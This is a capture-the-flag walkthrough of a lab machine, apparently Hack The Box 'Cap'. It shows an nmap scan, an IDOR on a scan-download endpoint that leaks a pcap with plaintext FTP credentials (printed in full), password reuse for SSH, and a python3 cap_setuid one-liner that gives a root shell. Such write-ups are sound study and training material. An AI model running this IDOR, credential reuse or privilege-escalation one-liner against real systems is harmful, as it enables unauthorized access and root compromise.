Cap
IDOR on security snapshot endpoint leaks FTP credentials via pcap, python3.8 cap_setuid for root.
# table of contents
Reconnaissance
┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sC -sV 10.129.10.190
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 09:47 -0500
Nmap scan report for 10.129.10.190
Host is up (0.039s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Three ports — FTP, SSH, and an HTTP dashboard running Gunicorn. FTP is worth keeping in mind.
Enumeration
The web app is a network security dashboard running Gunicorn on port 80. It auto-authenticates as user nathan, so there’s no login to bypass.
The interesting feature is Security Snapshot — clicking it triggers a network capture and redirects to /data/<scan_id> where the scan ID is an incrementing integer. This is a classic IDOR waiting to happen.

Foothold
Changing the scan ID to 0 in the URL downloads the very first capture taken on the box — someone else’s scan.
Opening the pcap in Wireshark and filtering for FTP traffic reveals credentials in plaintext:

nathan:Buck3tH4TF0RM3!
Logging in via FTP and grabbing the flag:
ftp> ls
-r-------- 1 1001 1001 33 Mar 30 14:44 user.txt
ftp> get user.txt
226 Transfer complete.
33 bytes received in 00:00 (0.91 KiB/s)
Nathan reuses the same password for SSH, so we get a proper shell with the same credentials.
Privilege Escalation
Checking capabilities on the system:
nathan@cap:~$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
python3.8 has cap_setuid — it can arbitrarily set its UID without being root. GTFOBins covers this exactly. One liner to drop into a root shell:

nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)